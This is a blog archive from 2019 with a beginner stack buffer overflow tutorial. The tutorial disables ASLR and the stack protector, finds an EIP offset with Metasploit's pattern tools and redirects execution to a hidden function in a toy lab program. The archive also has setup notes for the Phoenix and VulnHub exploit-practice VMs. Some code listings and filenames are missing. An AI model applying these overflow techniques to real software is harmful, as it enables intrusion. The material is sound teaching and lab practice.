Monday, May 20, 2019

轉念反思 - 楊和生 (Sang Young)


Thursday, May 16, 2019

HOWTO : Exploit Education - Phoenix on Kali Linux Rolling

apt install qemu-system


tar -xJvf exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz

cd exploit-education-phoenix-amd64

chmod +x

To run the virtual machine :


Open another terminal :

ssh -p 2222 user@localhost

The password is "user".

Inside the virtual machine, go to :

cd /opt/phoenix

You can choose either "amd64" or "i486" to do the Phoenix exploits.

cd /opt/phoenix/amd64


cd /opt/phoenix/i486

That's all! See you.

Thursday, May 09, 2019

Basic Buffer Overflow Exploit Make Easy

According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the "vuln.c" :

The "hacker" function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely "".


Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

chmod +x

Run the following command and you will find out that "NX" is enabled.

./ --file vuln

To double check the file is compiled into 32-bit.

file vuln

vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.


What is your name?
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln

Feed in the junk characters.

(gdb) r < a.txt

The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers

We noticed that the EIP is overwritten with "A". That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the "pattern_create.rb" to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt

The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with "0x41346241".

(gdb) info registers

We use the tool namely "pattern_offset.rb" to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function "hacker". So, we need to find out the address of the function of hacker.

(gdb) info functions

(gdb) disass hacker

We find out that the address of function hacker is "0x565561b9".

Now, the payload will be as the following :

42's "A" and [the address of hacker function]

The PoC Python code "" :

Exploit it now :

python | ./vuln

What is your name?
No, I'm a hacker!
Segmentation fault

The hidden hacker function is ran as a result.


To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt

(gdb) r < c.txt

(gdb) info registers

(gdb) x/50xw $esp -100

The EIP address is 0xffffd32c.

May 9, 2019, Hong Kong, China

Wednesday, May 08, 2019

Exploit Education - Phoenix (Stack Overflows)

Exploit Education is formerly Exploit Exercise. They have a series of exploit exercises. The new release is Phoenix which covers the following topics :

- Network programming
- Stack overflows
- Format string vulnerabilities
- Heap overflows

I do the Stack overflows (i486) section recently. However, I cannot solve Stack-Six as it is too difficult for me at the moment.

You can download the virtual machine at here. The current image is v1.0.0-alpha-3 and released on 16th January 2019.

For not being a spoiler, the exploit codes are not shown in the video.

That's all! See you.

Thursday, May 02, 2019

VulnHub - Stack Overflows for Beginners 1

Stack Overflows for Beginners 1 is created by Jack Barradell-Johns who is a university student of University of Sheffield. He developed this box for Ethical Hacking Society of the university.

There are 5 flags (including root flag) to capture that are based on basic stack buffer overflow. The box is built on Kali Linux and is about 8 GB to download.

The first level is level0 and the username and password are both "level0".

To avoid for being spoiler, the flags and exploit codes are not shown in the video.

May 2, 2019 Hong Kong, China